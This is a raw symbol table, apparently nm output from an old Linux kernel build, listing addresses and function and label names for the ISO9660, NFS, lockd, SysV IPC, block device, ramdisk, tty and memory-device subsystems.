1016573c t .L1083
1016574c t .L1084
101657f4 t .L1085
10165818 t .L1086
10165828 t .L1087
10165828 t isofs_statfs
1016587c t isofs_get_block
101658cc t .L1109
10165a18 t .L1116
10165a38 t .L1117
10165a44 t isofs_bmap
10165a84 T isofs_bread
10165ac8 t isofs_readpage
10165aec t _isofs_bmap
10165b0c t isofs_read_level3_size
10165c6c t .L1149
10165ce0 t .L1166
10165d98 t isofs_read_inode
10165ee8 t .L1172
10165ef0 t .L1204
1016605c t .L1225
1016624c t .L1226
1016625c t .L1227
10166260 T isofs_name_translate
10166334 T get_acorn_filename
101663d0 t .L786
10166428 t .L791
1016643c t do_isofs_readdir
101668cc t isofs_readdir
10166960 T isonum_711
10166968 T isonum_712
10166984 T isonum_721
10166998 T isonum_722
101669ac T isonum_723
101669c4 T isonum_731
101669f0 T isonum_732
10166a1c T isonum_733
10166a34 T iso_date
10166ba4 T find_rock_ridge_relocation
10166d24 t .L768
10166d90 t .L780
10166e20 T get_rock_ridge_filename
10166f68 t .L785
10166ff8 t .L813
10167034 t .L820
101670cc t .L821
101670ec T parse_rock_ridge_inode
101671c4 t .L826
1016724c t .L879
10167374 t .L907
10167400 t .L830
10167400 t .L908
10167414 t .L909
10167444 t .L910
101675cc t .L857
10167698 t .L911
101676ec t get_symlink_chunk
10167870 t rock_ridge_symlink_readpage
10167a74 t .L986
10167af0 t .L1013
10167af0 t .L976
10167b3c t .L1000
10167b78 t .L1014
10167bcc t .L1015
10167c08 t .L1016
10167c18 t .L1017
10167c24 t nfs_read_inode
10167cf8 t nfs_delete_inode
10167d68 t nfs_put_super
10167da0 t .L847
10167dc4 t .L849
10167dc4 t nfs_umount_begin
10167dec t nfs_get_root
10167e60 T nfs_read_super
101680e8 t .L914
101681e8 t .L989
101681f0 t .L990
10168200 t .L991
101683cc t .L988
101683dc t .L1044
101683f0 t .L936
1016840c t .L1045
1016861c t .L1046
1016863c t .L1047
10168664 t .L1048
1016868c t .L1049
101686b8 t .L1050
10168794 t .L1051
101687a4 t .L1052
101687a4 t nfs_statfs
10168978 T nfs_zap_caches
10168a14 t nfs_invalidate_inode
10168a48 t nfs_fill_inode
10168a6c t .L1081
10168bcc t .L1101
10168c1c t nfs_find_actor
10168c98 T nfs_inode_is_stale
10168d34 T nfs_fhget
10168db0 t __nfs_fhget
10168e58 t .L1130
10168e74 t .L1122
10168e84 t .L1132
10168e94 t .L1133
10168e98 T nfs_notify_change
1016902c T nfs_wait_on_inode
101690e8 t .L1155
10169130 t .L1166
10169174 t .L1181
101691fc T nfs_revalidate
101691fc t .L1182
10169260 T nfs_open
10169294 T nfs_release
10169308 T __nfs_revalidate_inode
101693e0 t .L1226
10169448 t .L1220
10169468 t .L1234
1016947c t .L1235
101694c0 t .L1236
101694e8 T nfs_refresh_inode
101694e8 t .L1237
10169544 t .L1240
10169624 t .L1308
10169688 t .L1309
1016980c t .L1310
1016993c T init_nfs_fs
10169950 t .L1311
1016998c t .L1316
1016998c t nfs_file_flush
10169a24 t nfs_file_read
10169acc t .L792
10169af0 t .L796
10169b08 t nfs_file_mmap
10169b8c t .L804
10169ba8 t .L808
10169bc0 t nfs_fsync
10169c38 t nfs_prepare_write
10169c50 t nfs_commit_write
10169cd4 t nfs_sync_page
10169d18 t nfs_file_write
10169e0c T nfs_lock
10169eec t .L866
10169f34 t .L869
10169f64 t .L874
10169f6c t .L875
10169fb4 t .L857
10169ffc t .L860
1016a034 t .L876
1016a03c t .L877
1016a03c t nfs_readdata_release
1016a060 t nfs_readpage_sync
1016a26c t .L850
1016a2dc t .L860
1016a314 t nfs_find_read
1016a35c t nfs_readpage_async
1016a398 t .L889
1016a3d8 t .L910
1016a424 t .L925
1016a458 t .L926
1016a504 t .L903
1016a56c t .L927
1016a594 t nfs_read_rpcsetup
1016a6a8 t nfs_async_read_error
1016a730 t .L951
1016a760 t .L956
1016a7f0 t .L965
1016a7f8 t .L966
1016a7f8 t nfs_pagein_one
1016a95c t nfs_pagein_list
1016aa0c t nfs_scan_read_timeout
1016aa80 t nfs_scan_read
1016aafc T nfs_pagein_inode
1016ab84 T nfs_pagein_timeout
1016ac04 t nfs_readpage_result
1016ad08 t .L1018
1016ad8c t .L1026
1016ae30 t .L1039
1016ae48 t .L1040
1016ae88 T nfs_readpage
1016aeb8 t .L1046
1016af2c t .L1064
1016af7c t .L1075
1016afe8 t .L1076
1016aff4 t .L1043
1016b014 T nfs_init_readpagecache
1016b014 t .L1077
1016b060 T nfs_destroy_readpagecache
1016b090 t nfs_writedata_release
1016b0b4 t nfs_writepage_sync
1016b364 t nfs_writepage_async
1016b3b8 T nfs_writepage
1016b3e0 t .L898
1016b3ec t .L900
1016b468 t .L918
1016b4bc t .L928
1016b548 t .L929
1016b564 t .L930
1016b564 t region_locked
1016b644 t nfs_find_request
1016b68c T nfs_list_add_request
1016b6dc t .L1001
1016b73c T nfs_list_remove_request
1016b73c t .L1013
1016b7a0 T nfs_create_request
1016b830 t .L1037
1016ba10 t .L1051
1016ba5c t .L1070
1016ba6c T nfs_release_request
1016ba6c t .L1071
1016bab0 t .L1072
1016bb78 t .L1091
1016bba4 t .L1097
1016bc14 t .L1100
1016bc3c t .L1116
1016bc54 t .L1117
1016bc6c t .L1118
1016bc84 t .L1119
1016bcb0 t nfs_wait_on_request
1016bd90 t .L1140
1016be54 t .L1158
1016be54 t nfs_wait_on_requests
1016bf40 T nfs_scan_list_timeout
1016c030 t nfs_scan_dirty_timeout
1016c0a4 T nfs_scan_list
1016c110 t .L1203
1016c1a4 t .L1219
1016c1b8 t nfs_scan_dirty
1016c230 T nfs_coalesce_requests
1016c314 t nfs_update_request
1016c37c t .L1245
1016c4b4 t .L1246
1016c4d0 t .L1291
1016c540 t .L1323
1016c5b0 t .L1300
1016c618 t .L1324
1016c640 t .L1272
1016c6a4 t .L1325
1016c6e8 t .L1326
1016c6fc t .L1327
1016c724 t nfs_strategy
1016c78c T nfs_flush_incompatible
1016c830 T nfs_updatepage
1016c9ac t .L1364
1016ca34 t .L1376
1016ca6c t nfs_write_rpcsetup
1016cb70 t nfs_flush_one
1016cd14 t .L1399
1016cd60 t .L1407
1016cda0 t .L1418
1016cdc4 t .L1419
1016cde4 t nfs_flush_list
1016cee8 t .L1436
1016cf5c t .L1448
1016cf74 t nfs_writeback_done
1016d130 t .L1497
1016d138 t .L1485
1016d144 t .L1501
1016d1e4 t .L1521
1016d1fc t .L1522
1016d2cc t .L1480
1016d2f4 t .L1523
1016d30c t .L1524
1016d388 T nfs_flush_file
1016d41c T nfs_flush_timeout
1016d4ac T nfs_sync_file
1016d53c t .L1535
1016d570 T nfs_init_nfspagecache
1016d570 t .L1544
1016d5f0 T nfs_destroy_nfspagecache
1016d63c t nfs_readdir_filler
1016d780 t .L811
1016d7a4 t .L815
1016d800 t .L833
1016d808 t .L834
1016d844 t .L826
1016d88c t .L835
1016d88c t nfs_do_filldir
1016d90c t .L910
1016d9ac t .L928
1016da30 t nfs_readdir
1016db90 t .L958
1016dc1c t .L966
1016dc74 t .L955
1016de40 t .L983
1016de74 t .L1025
1016decc t .L1026
1016dedc t .L1027
1016df2c t .L1028
1016df54 t nfs_lookup_revalidate
1016e02c t .L1058
1016e040 t .L1066
1016e0fc t .L1050
1016e11c t .L1067
1016e194 t nfs_dentry_delete
1016e1dc t nfs_dentry_iput
1016e210 t nfs_lookup
1016e310 t nfs_instantiate
1016e35c t nfs_create
1016e468 t nfs_mknod
1016e580 t nfs_mkdir
1016e68c t nfs_rmdir
1016e6f8 t nfs_sillyrename
1016e76c t .L1127
1016e778 t .L1126
1016e8b0 t .L1142
1016e8f0 t .L1143
1016e8f0 t nfs_safe_remove
1016e988 t .L1153
1016e9d0 t .L1167
1016ea3c t nfs_unlink
1016eac8 t nfs_symlink
1016ebd8 t .L1184
1016ec30 t .L1187
1016ec54 t nfs_link
1016ed38 t nfs_rename
1016ee2c t .L1211
1016ee64 t .L1220
1016eec4 t .L1225
1016ef50 T nfs_permission
1016ef50 t .L1226
1016f09c t nfs_symlink_filler
1016f108 t .L810
1016f14c t .L827
1016f184 t .L821
1016f1c0 t .L828
1016f1c0 t nfs_getlink
1016f230 t nfs_readlink
1016f2ac t nfs_follow_link
1016f308 t nfs_proc_get_root
1016f3b8 t nfs_proc_getattr
1016f464 t nfs_proc_setattr
1016f51c t nfs_proc_lookup
1016f5fc t nfs_proc_readlink
1016f6b8 t nfs_proc_read
1016f828 t nfs_proc_write
1016f9bc t nfs_proc_create
1016fac0 t nfs_proc_mknod
1016fc9c t nfs_proc_remove
1016fd8c t nfs_proc_unlink_setup
1016fe00 t nfs_proc_unlink_done
1016fe5c t nfs_proc_rename
1016ff5c t nfs_proc_link
10170044 t nfs_proc_symlink
10170148 t nfs_proc_mkdir
10170250 t nfs_proc_rmdir
10170314 t nfs_proc_readdir
1017041c t nfs_proc_statfs
101704dc t nfs_xdr_enc_void
101704f8 t nfs_xdr_fhandle
10170538 t nfs_xdr_sattrargs
1017064c t nfs_xdr_diropargs
101706b8 t nfs_xdr_readargs
101707ec t nfs_xdr_readres
10170aac t nfs_xdr_writeargs
10170bc4 t nfs_xdr_createargs
10170d0c t nfs_xdr_renameargs
10170db8 t nfs_xdr_linkargs
10170e50 t nfs_xdr_symlinkargs
10170fa8 t nfs_xdr_readdirargs
10171078 t nfs_xdr_readdirres
1017116c T nfs_decode_dirent
1017121c t nfs_xdr_dec_void
10171224 t nfs_xdr_stat
10171250 t nfs_xdr_attrstat
10171448 t nfs_xdr_diropres
10171674 t nfs_xdr_readlinkargs
10171714 t nfs_xdr_readlinkres
1017176c t nfs_xdr_writeres
10171794 t nfs_xdr_statfsres
101718d8 T nfs_stat_to_errno
10171950 T nfs_reqlist_init
10171a08 T nfs_reqlist_exit
10171a60 t .L840
10171a98 t .L848
10171ac0 T nfs_reqlist_alloc
10171b54 T nfs_reqlist_free
10171b84 T nfs_wake_flushd
10171ba8 t inode_append_flushd
10171c0c T inode_remove_flushd
10171c74 T inode_schedule_scan
10171cd0 t .L884
10171cec t .L890
10171cfc t .L891
10171d08 t nfs_flushd
10171dd8 t .L900
10171f20 t .L925
10171f20 t nfs_flushd_exit
10171f64 t nfs_put_unlinkdata
10171f80 t .L805
10171fdc t .L815
10171fdc t nfs_async_unlink_init
10172078 t nfs_async_unlink_done
101720f8 t nfs_async_unlink_release
10172114 T nfs_async_unlink
10172180 t .L832
10172264 T nfs_complete_unlink
10172264 t .L836
10172300 t .L849
10172328 t .L853
10172334 T nfs_mount
10172350 T nfs3_mount
1017236c t nfs_gen_mount
10172444 t mnt_create
101724a8 t .L810
101724c8 t .L812
101724cc t xdr_error
101724d4 t xdr_error
101724dc t xdr_encode_dirpath
1017251c t xdr_decode_fhstatus
1017259c t xdr_decode_fhstatus3
101725d8 t .L821
10172618 t .L825
10172624 T nlmclnt_block
101726f0 t .L850
1017273c t .L859
1017274c T nlmclnt_grant
1017281c T nlmclnt_recovery
1017287c t .L875
101728d0 t .L880
101728d0 t reclaimer
101728f0 t .L883
10172974 t .L892
101729b4 t .L904
10172a00 t .L905
10172a04 T nlmclnt_setgrantargs
10172ab4 T nlmclnt_freegrantargs
10172ae4 T nlmclnt_proc
10172cd4 t .L885
10172cdc t .L856
10172d68 t .L888
10172d70 t .L889
10172d7c t .L890
10172e10 T nlmclnt_alloc_call
10172ec4 T nlmclnt_call
10172f6c t .L951
101730a8 t .L959
101730c0 t .L963
101730e4 t .L964
101730ec T nlmsvc_async_call
101731b0 T nlmclnt_async_call
101732a0 t .L977
101732d8 t .L979
101732e0 t nlmclnt_test
1017334c t nlmclnt_insert_lock_callback
10173368 t nlmclnt_remove_lock_callback
10173398 t nlmclnt_lock
10173490 T nlmclnt_reclaim
101735ec t nlmclnt_unlock
1017366c t nlmclnt_unlock_callback
1017368c t .L1018
1017369c t .L1016
101736dc t .L1026
10173710 T nlmclnt_cancel
10173710 t .L1027
10173860 t .L1044
101738d4 t .L1056
101738d4 t nlmclnt_cancel_callback
101738f4 t .L1059
10173904 t .L1057
10173968 t .L1078
10173990 t .L1063
101739b0 t .L1079
101739cc t .L1080
101739d0 t nlm_stat_to_errno
10173a38 t .L1091
10173a48 T nlmclnt_lookup_host
10173a48 t .L1098
10173a74 T nlmsvc_lookup_host
10173a9c T nlm_lookup_host
10173b98 t .L715
10173db8 t .L729
10173dcc t .L749
10173de8 t .L750
10173df4 T nlm_bind_host
10173e4c t .L755
10173e68 t .L760
10173e7c t .L771
10173eb0 t .L779
10173efc t .L780
10173fc8 t .L773
10173fe0 t .L781
10173ff4 T nlm_rebind_host
10173ff4 t .L782
1017405c T nlm_get_host
101740d4 T nlm_release_host
10174124 T nlm_shutdown_hosts
10174180 t .L801
101741ec t .L815
101742b4 t .L839
101742bc t .L840
101742bc t nlm_gc_hosts
10174450 t .L866
10174474 t .L883
10174474 t lockd
101744d8 t .L722
101745c0 t .L743
10174724 t .L783
10174760 t .L784
10174764 T lockd_up
10174798 t .L787
101747bc t .L789
101747d4 t .L799
101747f8 t .L807
10174884 t .L808
101748a0 t .L797
101748b4 t .L809
101748ec t .L810
101748f4 T lockd_down
101748f4 t .L811
10174924 t .L814
10174944 t .L817
1017495c t .L833
1017497c t .L838
10174984 t .L818
10174a3c t .L839
10174a58 t .L840
10174a60 t .L841
10174a60 t nlmsvc_insert_block
10174b30 t nlmsvc_remove_block
10174b80 t nlmsvc_lookup_block
10174d30 t nlmsvc_delete_block
10174dd0 t .L782
10174dec t .L776
10174e60 t .L796
10174e80 T nlmsvc_traverse_blocks
10174e80 t .L797
10174ebc t .L800
10174ed8 t .L803
10174ef4 t .L812
10174f20 t .L817
10174f3c t .L818
10174f58 T nlmsvc_lock
10174f58 t .L819
10175024 t .L824
1017508c t .L852
101750a0 t .L857
101750f8 t .L871
10175118 t .L872
10175200 t .L848
10175228 t .L873
1017523c t .L840
10175254 t .L874
10175288 t .L829
101752e8 t .L875
101752f0 T nlmsvc_testlock
101752f0 t .L876
101753f8 T nlmsvc_unlock
101754a0 T nlmsvc_cancel_blocked
10175520 t .L892
10175558 t .L895
10175580 t .L897
10175588 t .L898
10175588 t nlmsvc_notify_blocked
101755f8 t .L899
10175620 t .L915
10175680 t nlmsvc_grant_blocked
101756e4 t .L920
10175750 t .L933
10175764 t .L935
10175794 t .L941
101757a0 t .L942
101757e8 t .L943
10175828 t .L944
10175830 t .L945
10175830 t nlmsvc_grant_callback
10175930 t .L946
10175978 t .L972
1017599c T nlmsvc_grant_reply
10175a58 t .L985
10175adc t .L999
10175af0 t .L986
10175b3c t .L1004
10175b50 t .L1016
10175b5c t .L1017
10175b68 t .L1018
10175bac t .L1019
10175bd0 T nlmsvc_retry_blocked
10175c84 t .L1025
10175cec t .L1043
10175cf4 T nlmsvc_share_file
10175e28 T nlmsvc_unshare_file
10175e6c t .L733
10175eb4 t .L738
10175ecc T nlmsvc_traverse_shares
10175ee8 t .L752
10175f3c t .L753
10175f50 t nlmsvc_retrieve_args
10175ff0 t .L709
10176060 t .L714
10176064 t nlmsvc_proc_null
1017609c t nlmsvc_proc_test
101761a8 t nlmsvc_proc_lock
10176234 t .L736
101762a0 t .L738
101762ac t nlmsvc_proc_cancel
101763b4 t nlmsvc_proc_unlock
101764bc t nlmsvc_proc_granted
10176558 t nlmsvc_proc_test_msg
101765ac t .L765
101765c8 t .L767
101765c8 t nlmsvc_proc_lock_msg
1017661c t .L771
10176638 t .L773
10176638 t nlmsvc_proc_cancel_msg
1017668c t .L777
101766a8 t .L779
101766a8 t nlmsvc_proc_unlock_msg
101766fc t .L783
10176718 t .L785
10176718 t nlmsvc_proc_granted_msg
1017676c t .L789
10176788 t .L791
10176788 t nlmsvc_proc_share
10176814 t .L801
10176878 t .L803
10176884 t nlmsvc_proc_unshare
10176990 t nlmsvc_proc_nm_lock
101769f0 t nlmsvc_proc_free_all
10176a08 t .L819
10176a30 t .L820
10176a34 t nlmsvc_proc_sm_notify
10176b6c t nlmsvc_callback
10176c30 t nlmsvc_callback_exit
10176c48 t .L841
10176c88 T nlm_lookup_file
10176c88 t .L845
10176d4c t .L715
10176e90 t .L734
10176ed4 t .L740
10176f24 t .L741
10176f24 t nlm_traverse_locks
10177078 t nlm_traverse_files
101770c4 t .L782
1017710c t .L794
1017711c t .L787
10177150 t .L803
10177188 t .L816
101771d4 t .L817
101771ec t .L797
10177200 t .L818
10177228 t .L819
1017725c T nlm_release_file
1017725c t .L820
101772b4 t .L825
101772c8 t .L826
101772e0 t .L840
10177300 t .L847
1017730c t .L831
1017737c t .L848
101773a8 t .L849
101773c8 t .L850
101773d0 T nlmsvc_mark_resources
101773d0 t .L851
1017740c T nlmsvc_free_host_resources
10177464 T nlmsvc_invalidate_client
101774c4 t nsm_mon_unmon
1017755c t .L703
10177584 t .L708
10177588 T nsm_monitor
10177618 T nsm_unmonitor
1017767c t .L719
1017769c t .L721
101776a0 t nsm_create
10177720 t .L724
10177740 t .L728
10177744 t xdr_encode_mon
1017786c t xdr_decode_stat_res
101778b4 t xdr_decode_stat
101778c4 t nlm_encode_lock
10177aa0 t nlm_encode_testres
10177c40 T nlmsvc_decode_testargs
10177e50 T nlmsvc_encode_testres
10177e9c T nlmsvc_decode_lockargs
101780d0 T nlmsvc_decode_cancargs
101782e8 T nlmsvc_decode_unlockargs
101784dc T nlmsvc_decode_shareargs
10178560 t .L919
10178654 t .L925
10178664 T nlmsvc_encode_shareres
10178700 T nlmsvc_encode_res
1017878c T nlmsvc_decode_notify
10178800 T nlmsvc_decode_reboot
10178870 T nlmsvc_decode_res
10178930 T nlmsvc_decode_void
10178954 T nlmsvc_encode_void
10178978 t nlmclt_encode_void
10178994 t nlmclt_decode_void
1017899c t nlmclt_encode_testargs
10178a64 t nlmclt_decode_testres
10178abc t .L968
10178bcc t .L982
10178bdc t nlmclt_encode_lockargs
10178cfc t nlmclt_encode_cancargs
10178dec t nlmclt_encode_unlockargs
10178e90 t nlmclt_encode_res
10178f14 t nlmclt_encode_testres
10178f5c t nlmclt_decode_res
10178ff4 T nlm_procname
1017901c T ipc_findkey
10179058 t grow_ary
101790fc T ipc_addid
101791bc T ipc_rmid
10179214 t .L716
1017927c t .L727
10179288 T ipc_alloc
101792b0 t .L731
101792c4 T ipc_free
101792c4 t .L733
101792dc t .L736
101792f0 T ipcperms
101792f0 t .L737
101793bc T kernel_to_ipc64_perm
101793f8 T ipc64_perm_to_ipc_perm
10179434 T ipc_parse_version
10179458 t newque
1017953c t free_msg
10179578 t load_msg
10179684 t store_msg
10179738 t ss_wakeup
1017978c t expunge_all
101797e0 t freeque
101798ac T sys_msgget
101798f0 t .L751
10179954 t .L764
10179980 t .L770
101799b0 t .L778
101799d8 t .L779
10179a18 T sys_msgctl
10179a18 t .L780
10179b64 t .L810
10179bac t .L816
10179be4 t .L932
10179c1c t .L933
10179c3c t .L862
10179ca8 t .L892
10179cbc t .L934
10179d0c t .L881
10179d98 t .L935
10179da8 t .L936
10179dd0 t .L937
10179f7c t .L840
10179fa0 t .L938
1017a03c t .L939
1017a098 t testmsg
1017a104 T sys_msgsnd
1017a318 t .L1022
1017a42c t .L1045
1017a45c T sys_msgrcv
1017a620 t .L1076
1017a6d4 t .L1118
1017a710 t .L1139
1017a7d8 t .L1140
1017a808 t sysvipc_msg_read_proc
1017a86c t .L1143
1017a99c t .L1159
1017a9fc t .L1167
1017aa0c T pipelined_send
1017aa0c t .L1168
1017aaec T convert_mode
1017ab20 t newary
1017ac48 T sys_semget
1017acd0 t .L680
1017ad34 t .L693
1017ad6c t .L701
1017ad80 t .L710
1017ada8 t .L711
1017adf0 t .L712
1017adf0 t sem_revalidate
1017ae98 t try_atomic_semop
1017aff4 t update_queue
1017b0bc t count_semncnt
1017b12c t count_semzcnt
1017b19c t freeary
1017b244 t copy_semid_to_user
1017b274 t .L832
1017b290 t .L839
1017b2c8 T semctl_nolock
1017b2c8 t .L840
1017b3a4 t .L846
1017b3e8 t .L850
1017b420 t .L874
1017b44c t .L875
1017b524 T semctl_main
1017b5c4 t .L895
1017b714 t .L975
1017b85c t .L976
1017b900 T semctl_down
1017bacc T sys_semctl
1017bbd4 t .L1024
1017bc10 t .L1041
1017bc48 t .L1043
1017bc5c t .L1070
1017bc64 t .L1071
1017bc80 t .L1072
1017bc84 t freeundos
1017bcec t alloc_undo
1017bde0 T sys_semop
1017bed8 t .L1096
1017c120 t .L1187
1017c224 T sem_exit
1017c31c t .L1205
1017c380 t .L1244
1017c3ac t .L1245
1017c414 t sysvipc_sem_read_proc
1017c488 t .L1248
1017c584 t .L1264
1017c5e4 t .L1272
1017c5f4 t .L1273
1017c5f4 t shm_open
1017c650 t .L714
1017c68c t .L718
1017c698 t shm_destroy
1017c6f0 t shm_close
1017c730 t .L723
1017c768 t .L724
1017c794 t .L731
1017c7ac t .L733
1017c7cc t .L738
1017c7e0 t .L739
1017c7f8 t .L740
1017c80c t .L741
1017c80c t shm_mmap
1017c88c t .L747
1017c8d4 t .L751
1017c8e0 t newseg
1017ca8c T sys_shmget
1017cad8 t .L768
1017cb3c t .L781
1017cb74 t .L789
1017cba8 t .L797
1017cbd0 t .L798
1017cc18 t .L799
1017cc18 t shm_get_stat
1017cca8 T sys_shmctl
1017ce90 t .L899
1017cee4 t .L911
1017cf14 t .L994
1017cf38 t .L948
1017cf4c t .L995
1017cf60 t .L996
1017cf98 t .L925
1017d094 t .L997
1017d2c8 t .L876
1017d2ec t .L998
1017d344 t .L999
1017d3b0 t .L849
1017d400 t .L851
1017d438 t .L1000
1017d440 T sys_shmat
1017d440 t .L1001
1017d550 t .L1019
1017d598 t .L1025
1017d5bc t .L1027
1017d5f0 t .L1028
1017d600 t .L1034
1017d618 t .L1036
1017d638 t .L1048
1017d64c t .L1049
1017d664 t .L1050
1017d678 t .L1051
1017d680 t .L1052
1017d688 t .L1053
1017d6a8 T sys_shmdt
1017d6ec t .L1057
1017d70c t .L1060
1017d728 t .L1065
1017d758 t .L1070
1017d784 t .L1071
1017d78c t .L1072
1017d78c t sysvipc_shm_read_proc
1017d7f4 t .L1075
1017d924 t .L1093
1017d988 t .L1101
1017d998 T blk_get_queue
1017d998 t .L1102
1017d9f0 t __blk_cleanup_queue
1017da74 T blk_cleanup_queue
1017dad4 T blk_queue_headactive
1017dadc T blk_queue_pluggable
1017dae4 T blk_queue_make_request
1017daec t ll_back_merge_fn
1017db30 t ll_front_merge_fn
1017db74 t ll_merge_requests_fn
1017dbd8 t generic_plug_device
1017dc48 t generic_unplug_device
1017dc8c t blk_init_free_list
1017dd30 T blk_init_queue
1017ddec t __get_request_wait
1017de5c t .L1446
1017defc t .L1464
1017df10 T is_read_only
1017df50 T set_device_ro
1017dfb8 t attempt_merge
1017dfe4 t .L1516
1017e0c4 t .L1525
1017e0c4 t __make_request
1017e1b4 t .L1539
1017e4e4 t .L1613
1017e554 t .L1569
1017e5fc t .L1790
1017eb70 t .L1791
1017ec18 T generic_make_request
1017ec18 t .L1792
1017ece4 t .L1799
1017ed94 t .L1812
1017edb4 T submit_bh
1017edec t .L1814
1017ee70 t .L1824
1017ee70 t end_buffer_io_sync
1017eeec T ll_rw_block
1017ef88 t .L1841
1017f03c t .L1883
1017f080 t .L1846
1017f0e8 t .L1850
1017f0f8 t .L1884
1017f13c t .L1885
1017f140 T end_that_request_first
1017f164 t .L1887
1017f230 T end_that_request_last
1017f230 t .L1892
1017f294 t .L1898
1017f2f0 t .L1902
1017f2f4 T blkdev_release_request
1017f34c T drive_stat_acct
1017f4fc t .L1483
1017f544 t .L1963
1017f5a0 t get_gendisk
1017f5c0 T add_partition
1017f770 T del_partition
1017f894 T blkpg_ioctl
1017f8c0 t .L865
1017f954 t .L885
1017f960 t .L886
1017f968 T blk_ioctl
1017f9b4 t .L887
1017fbc8 t .L1005
1017fbe4 t .L1006
1017fbf0 t .L1007
1017fc44 T elevator_linus
1017fca4 T elevator_linus_merge
1017fda0 T elevator_noop
1017fdb8 T elevator_noop_merge
1017fe68 T elevator_noop_dequeue
1017fe6c T blkelvget_ioctl
1017fec0 T blkelvset_ioctl
1017ff1c T elevator_init
1017ff7c t rd_make_request
10180048 t .L830
1018006c t .L832
10180090 t .L837
101800b8 t .L838
101800bc t rd_ioctl
10180180 t .L839
1018021c t .L892
10180224 t initrd_read
101802b0 t initrd_release
10180318 t rd_open
101803f4 t rd_release
101803fc t huft_build
10180934 t huft_free
1018096c t inflate_codes
10180edc t inflate_stored
10181140 t inflate_fixed
101812d8 t inflate_dynamic
101815b4 t .L1440
101816dc t .L1441
1018172c t .L1400
10181734 t .L1425
10181750 t .L1442
10181a44 t inflate_block
10181b0c t .L1443
10181b3c t .L1468
10181b44 t .L1469
10181b4c t .L1470
10181bd8 t inflate
10181cb0 t makecrc
10181d4c t gunzip
10181d9c t .L1510
10181dc4 t .L1512
10181e10 t .L1588
10181ed4 t .L1524
10181eec t .L1526
10181f04 t .L1528
10181f1c t .L1530
10181f34 t .L1532
10181f4c t .L1534
10181fc8 t .L1540
1018209c t .L1598
101822f4 t .L1599
10182320 t .L1600
10182328 t .L1601
10182330 t .L1602
10182338 t .L1603
10182340 t .L1604
10182348 t .L1605
10182370 t .L1606
10182378 t .L1607
10182378 t _tty_make_name
101823f8 T tty_name
10182428 t check_tty_count
101824e8 T tty_register_ldisc
10182554 t .L811
1018257c t .L812
1018257c t tty_set_ldisc
10182798 T get_tty_driver
101827f8 T tty_check_change
1018288c t hung_up_tty_read
101828a0 t hung_up_tty_write
101828b4 t hung_up_tty_poll
101828bc t hung_up_tty_ioctl
101828d4 t tty_lseek
101828e0 T do_tty_hangup
10182a84 t .L882
10182ba8 t .L915
10182bcc T tty_hangup
10182be8 T tty_vhangup
10182c00 T tty_hung_up_p
10182c18 T disassociate_ctty
10182c74 t .L928
10182cb8 t .L919
10182ce8 t .L943
10182d14 t .L944
10182d18 T wait_for_keypress
10182d48 T stop_tty
10182dc8 T start_tty
10182dec t .L953
10182e78 t .L960
10182e78 t tty_read
10182f9c t tty_write
10183154 t .L1036
1018316c t .L1026
1018316c t .L1044
101831d0 t .L1045
1018320c t down_tty_sem
10183234 t .L1048
1018324c t .L1049
1018324c t up_tty_sem
10183274 t .L1052
1018328c t .L1054
10183290 t init_dev
10183324 t .L1090
10183430 t .L1066
101834bc t .L1116
101836d0 t .L1117
10183714 t release_mem
101837e0 t release_dev
10183878 t .L1126
10183924 t .L1198
10183950 t .L1199
10183980 t .L1200
101839b0 t .L1201
101839e4 t .L1202
10183a14 t .L1203
10183a44 t .L1204
10183a5c t .L1205
10183a8c t .L1145
10183b50 t .L1206
10183ccc t .L1207
10183d60 t tty_open
10183e0c t .L1236
101840d8 t .L1291
10184180 t tty_release
101841a0 t tty_poll
10184278 t tty_fasync
101843e8 t tiocsti
101844a0 t tiocgwinsz
101844dc t tiocswinsz
101845d8 t tioccons
10184668 t fionbio
101846d8 t tiocsctty
1018479c t tiocgpgrp
101847f8 t tiocspgrp
101848b8 t tiocgsid
1018491c t tiocttygstruct
10184954 t tiocsetd
10184984 t .L1535
1018499c t .L1559
101849a8 t send_break
101849ec t .L1563
10184a28 T tty_ioctl
10184a28 t .L1570
10184aa4 t .L1571
10184d2c t .L1757
10184d54 t .L1758
10184dd8 t .L1759
10184de0 t .L1760
10184de8 t .L1761
10184df8 t .L1762
10184e04 t .L1763
10184e64 t .L1764
10184ed0 t .L1765
10184f58 t .L1766
10184f6c t .L1767
10184f7c t .L1768
10184f88 t .L1769
10184f94 t .L1770
10185168 T do_SAK
10185240 t .L1775
10185278 t .L1798
1018527c t flush_to_ldisc
10185358 T tty_get_baud_rate
101853fc T tty_flip_buffer_push
10185478 t initialize_tty_struct
101855c0 T tty_default_put_char
101855f4 T tty_register_devfs
101855f8 T tty_unregister_devfs
101855fc T tty_register_driver
101856f8 T tty_unregister_driver
10185860 T tty_paranoia_check
101858dc t check_unthrottle
10185934 t reset_buffer_flags
1018598c T n_tty_flush_buffer
101859d8 T n_tty_chars_in_buffer
10185a18 t opost
10185be8 t opost_block
10185ddc t echo_char
10185e58 t .L787
10185e70 t .L788
10185e70 t eraser
10186270 t n_tty_receive_room
101862a0 t n_tty_receive_buf
101863a0 t .L1076
10186464 t .L1129
1018650c t .L982
101867b4 t .L1108
10186830 t .L1130
101868c0 t .L1110
101869f8 t .L1131
10186b40 t .L1132
10186b6c t .L1133
10186bb8 t .L1134
10186d8c t .L1135
10186e44 T is_ignored
10186e44 t .L1136
10186e98 t n_tty_set_termios
101872b4 t n_tty_close
101872ec t n_tty_open
10187394 t read_chan
10187468 t .L1218
10187524 t .L1356
101875fc t .L1405
10187a0c t .L1245
10187a28 t .L1406
10187ae8 t .L1407
10187afc t write_chan
10187c14 t .L1414
10187ccc t .L1469
10187d50 t normal_poll
10187ee4 T tty_wait_until_sent
10187ff4 t unset_locked_termios
101880b4 t .L665
101880e0 t .L677
101880e4 t change_termios
101881bc t .L680
101882c8 t .L691
101882c8 t set_termios
10188470 t get_termio
10188590 t inq_canon
10188600 T send_prio_char
1018863c t .L906
10188688 T n_tty_ioctl
10188688 t .L910
101886fc t .L911
10188770 t .L1111
10188788 t .L1112
101887a0 t .L1113
101887b8 t .L1114
101888cc t .L1115
10188914 t .L1039
10188a74 t .L1116
10188a90 t .L1117
10188aa4 t .L1118
10188ad8 t .L1119
10188b00 t .L1120
10188b10 t .L1121
10188b1c t .L1122
10188b28 t .L1123
10188b50 t .L1100
10188b9c t do_write_mem
10188c04 t read_mem
10188c9c t write_mem
10188cfc t mmap_mem
10188d78 t read_kmem
10188ec8 t write_kmem
10188f1c t read_port
1018900c t write_port
10189100 t read_null
10189108 t write_null
10189110 t read_zero
10189230 t .L900
10189274 t .L922
101892f4 t .L946
10189330 t .L905
